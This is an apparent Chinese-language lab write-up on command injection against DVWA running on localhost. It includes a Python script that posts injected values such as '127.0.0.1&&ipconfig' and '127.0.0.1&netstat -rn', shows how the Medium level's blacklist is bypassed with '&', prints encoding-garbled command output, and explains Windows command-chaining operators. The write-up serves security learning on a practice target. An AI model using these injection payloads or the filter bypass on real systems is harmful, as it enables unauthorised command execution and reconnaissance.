本文全程参考[https://blog.csdn.net/zy15667076526/article/details/109705286?utm_medium=distribute.pc_relevant.none-task-blog-baidujs_baidulandingword-0]向该博主致谢
浏览器按F12打开开发人员调试利器,访问DVWA。
发现使用post方法访问http://localhost/DVWA/vulnerabilities/exec/
提交ip=127.0.0.1&Submit=Submit
#-*- coding:utf-8 -*- import requests headers = {'Cookie':'security=low; PHPSESSID=jdftj2p08d067d7o3560ekeov5','Referer':'http://localhost/DVWA/vulnerabilities/brute/index.php?username=admin&password=password&Login=Login&user_token=864a7651f4059a03020675f7eecb955c'} command ='127.0.0.1' data={'ip':command,'Submit':'Submit'} def post_http(data): url = 'http://localhost/DVWA/vulnerabilities/exec/' req = requests.post(url,headers=headers,data=data) return(url,req.status_code,req.text) print('++++++++开始命令注入++++++++') url,status_code,result=post_http(data) print(str(data['ip'])+'|'+url+'|'+str(status_code)+'|'+str(len(result))) print(result)
可以看到执行ping命令测试127.0.0.1(本机回环地址)的连通性。
D:\sqlinjection>python Command_Injection_low.py ++++++++开始命令注入++++++++ 192.168.1.1 && ipconfig|http://localhost/DVWA/vulnerabilities/exec/|200|5397 ............ *���� Ping 127.0.0.1 ���� 32 �ֽڵ�����: ���� 127.0.0.1 �Ļظ�: �ֽ�=32 ʱ��<1ms TTL=128 ���� 127.0.0.1 �Ļظ�: �ֽ�=32 ʱ��<1ms TTL=128 ���� 127.0.0.1 �Ļظ�: �ֽ�=32 ʱ��<1ms TTL=128 ���� 127.0.0.1 �Ļظ�: �ֽ�=32 ʱ��<1ms TTL=128 127.0.0.1 �� Ping ͳ����Ϣ: ���ݰ�: �ѷ��� = 4���ѽ��� = 4����ʧ = 0 (0% ��ʧ)�� �����г̵Ĺ���ʱ��(�Ժ���Ϊ��λ): ��� = 0ms��� = 0ms��ƽ�� = 0ms* ............
将python脚本的 command =‘127.0.0.1’ 改为 command =‘127.0.0.1&&ipconfig’
可以看到执行ping 127.0.0.1 后,又执行ipconfig(查看网络配置)的命令,无线网卡上的ip为192.168.1.3
D:\sqlinjection>python Command_Injection_low.py ++++++++开始命令注入++++++++ 127.0.0.1&&ipconfig|http://localhost/DVWA/vulnerabilities/exec/|200|5387 ............ ���� Ping 127.0.0.1 ���� 32 �ֽڵ�����: ���� 127.0.0.1 �Ļظ�: �ֽ�=32 ʱ��<1ms TTL=128 ���� 127.0.0.1 �Ļظ�: �ֽ�=32 ʱ��<1ms TTL=128 ���� 127.0.0.1 �Ļظ�: �ֽ�=32 ʱ��<1ms TTL=128 ���� 127.0.0.1 �Ļظ�: �ֽ�=32 ʱ��<1ms TTL=128 127.0.0.1 �� Ping ͳ����Ϣ: ���ݰ�: �ѷ��� = 4���ѽ��� = 4����ʧ = 0 (0% ��ʧ)�� �����г̵Ĺ���ʱ��(�Ժ���Ϊ��λ): ��� = 0ms��� = 0ms��ƽ�� = 0ms Windows IP ���� ��̫�������� ��̫�� 4: ý��״̬ . . . . . . . . . . . . : ý���ѶϿ����� �����ض��� DNS �� . . . . . . . : ��̫�������� ��̫��: ý��״̬ . . . . . . . . . . . . : ý���ѶϿ����� �����ض��� DNS �� . . . . . . . : ���߾����������� ��������* 1: ý��״̬ . . . . . . . . . . . . : ý���ѶϿ����� �����ض��� DNS �� . . . . . . . : ���߾����������� ��������* 2: ý��״̬ . . . . . . . . . . . . : ý���ѶϿ����� �����ض��� DNS �� . . . . . . . : ���߾����������� WLAN: �����ض��� DNS �� . . . . . . . : IPv6 ��ַ . . . . . . . . . . . . : 240e:390:470:41a0:c430:f233:4119:1b2e ��ʱ IPv6 ��ַ. . . . . . . . . . : 240e:390:470:41a0:251a:ccf8:5425:fef6 �������� IPv6 ��ַ. . . . . . . . : fe80::c430:f233:4119:1b2e%17 IPv4 ��ַ . . . . . . . . . . . . : 192.168.1.3 �������� . . . . . . . . . . . . : 255.255.255.0 Ĭ������. . . . . . . . . . . . . : fe80::1%17 192.168.1.1 ............
不完全测试,可以执行dir netstat ipconfig calc notepad等命令,但net user执行后无相应输出,估计是DVWA安装在Windows 10上吧。
根据参考博文,Medium的php源码中对&&和;字符做过滤处理,所以&&不能成功,使用&替代
DOS中&用法
这里需要注意的是”&&”与” &”的区别:Command 1&&Command 2
先执行Command 1,执行成功后执行Command 2,否则不执行Command 2
Command 1&Command 2
先执行Command 1,不管是否成功,都会执行Command 2
复现过程-Medium 相比Low级别的代码,服务器端对ip参数做了一定过滤,即把”&&”
、”;”删除,本质上采用的是黑名单机制,因此依旧存在安全问题。因为被过滤的只有”&&”与” ;”,所以”&”不会受影响。
将python脚本的 command =‘127.0.0.1’ 改为 command = ‘127.0.0.1&netstat -rn’
#-*- coding:utf-8 -*- import requests headers = {'Cookie':'security=medium; PHPSESSID=jdftj2p08d067d7o3560ekeov5; PHPSESSID=jdftj2p08d067d7o3560ekeov5','Referer':'http://localhost/DVWA/vulnerabilities/brute/index.php?username=admin&password=password&Login=Login&user_token=864a7651f4059a03020675f7eecb955c'} command = '127.0.0.1&netstat -rn' data={'ip':command,'Submit':'Submit'} def post_http(data): url = 'http://localhost/DVWA/vulnerabilities/exec/' req = requests.post(url,headers=headers,data=data) return(url,req.status_code,req.text) print('++++++++开始命令注入++++++++') url,status_code,result=post_http(data) print(str(data['ip'])+'|'+url+'|'+str(status_code)+'|'+str(len(result))) print(result)
执行ping命令后,又执行netstat -rn命令获取服务器网络路由表。
D:\sqlinjection>python Command_Injection_medium.py ++++++++开始命令注入++++++++ 127.0.0.1&netstat -rn|http://localhost/DVWA/vulnerabilities/exec/|200|6865 ............ ���� Ping 127.0.0.1 ���� 32 �ֽڵ�����: ���� 127.0.0.1 �Ļظ�: �ֽ�=32 ʱ��<1ms TTL=128 ���� 127.0.0.1 �Ļظ�: �ֽ�=32 ʱ��<1ms TTL=128 ���� 127.0.0.1 �Ļظ�: �ֽ�=32 ʱ��<1ms TTL=128 ���� 127.0.0.1 �Ļظ�: �ֽ�=32 ʱ��<1ms TTL=128 127.0.0.1 �� Ping ͳ����Ϣ: ���ݰ�: �ѷ��� = 4���ѽ��� = 4����ʧ = 0 (0% ��ʧ)�� �����г̵Ĺ���ʱ��(�Ժ���Ϊ��λ): ��� = 0ms��� = 0ms��ƽ�� = 0ms =========================================================================== �ӿ��б� 25...00 ff fb e0 7b ee ......Sangfor SSL VPN CS Support System VNIC 16...b0 25 aa 2f 4e b8 ......Realtek PCIe GbE Family Controller 12...38 00 25 c6 e9 2d ......Microsoft Wi-Fi Direct Virtual Adapter 11...3a 00 25 c6 e9 2c ......Microsoft Wi-Fi Direct Virtual Adapter #2 17...38 00 25 c6 e9 2c ......Intel(R) Wireless-AC 9462 1...........................Software Loopback Interface 1 =========================================================================== IPv4 ·�ɱ� =========================================================================== �·��: ����Ŀ�� �������� ���� �ӿ� Ծ���� 0.0.0.0 0.0.0.0 192.168.1.1 192.168.1.3 55 127.0.0.0 255.0.0.0 ����·�� 127.0.0.1 331 127.0.0.1 255.255.255.255 ����·�� 127.0.0.1 331 127.255.255.255 255.255.255.255 ����·�� 127.0.0.1 331 192.168.1.0 255.255.255.0 ����·�� 192.168.1.3 311 192.168.1.3 255.255.255.255 ����·�� 192.168.1.3 311 192.168.1.255 255.255.255.255 ����·�� 192.168.1.3 311 224.0.0.0 240.0.0.0 ����·�� 127.0.0.1 331 224.0.0.0 240.0.0.0 ����·�� 192.168.1.3 311 255.255.255.255 255.255.255.255 ����·�� 127.0.0.1 331 255.255.255.255 255.255.255.255 ����·�� 192.168.1.3 311 =========================================================================== ����·��: �� IPv6 ·�ɱ� =========================================================================== �·��: �ӿ�Ծ��������Ŀ�� ���� 17 311 ::/0 fe80::1 1 331 ::1/128 ����·�� 17 311 240e:390:470:41a0::/64 ����·�� 17 311 240e:390:470:41a0:251a:ccf8:5425:fef6/128 ����·�� 17 311 240e:390:470:41a0:c430:f233:4119:1b2e/128 ����·�� 17 311 fe80::/64 ����·�� 17 311 fe80::c430:f233:4119:1b2e/128 ����·�� 1 331 ff00::/8 ����·�� 17 311 ff00::/8 ����·�� =========================================================================== ����·��: �� ............
此部分均引用至参考博文
l & 组合命令
语法:第一条命令 & 第二条命令 [& 第三条命令…]
&、&&、||为组合命令,顾名思义,就是可以把多个命令组合起来当一个命令来执行。这在批处理脚本里是
允许的,而且用的非常广泛。因为批处理认行不认命令数目。
这个符号允许在一行中使用 2 个以上不同的命令,当第一个命令执行失败了,也不影响后边的命令执行。
这里&两边的命令是顺序执行的,从前往后执行。
比如:
dir z:\ & dir y:\ & dir c:\
以上命令会连续显示 z,y,c 盘的内容,不理会该盘是否存在
l Command 1 | Command 2
“|”是管道符,表示将Command 1的输出作为Command 2的输入,并且只打印Command 2执行的结果。
l ; 分号
分号,当命令相同时,可以将不同目标用;来隔离,但执行效果不变,如执行过程中发生错误,则只返回
错误报告,但程序仍会执行。(有人说不会继续执行,其实测试一下就知道了)
比如:
dir c:;d:;e:;z:\
以上命令相当于
dir c:\
dir d:\
dir e:\
dir f:\
如果其中 z 盘不存在,运行显示:系统找不到指定的路径。然后终止命令的执行。
例:dir c:;d:;e:\1.txt
以上命令相当于
dir c:\
dir d:\
dir e:\1.txt
其中文件 e:\1.txt 不存在,但 e 盘存在,有错误提示,但命令仍会执行。
为什么?如果目标路径不存在,则终止执行;如果路径存在,仅文件不存在,则继续执行。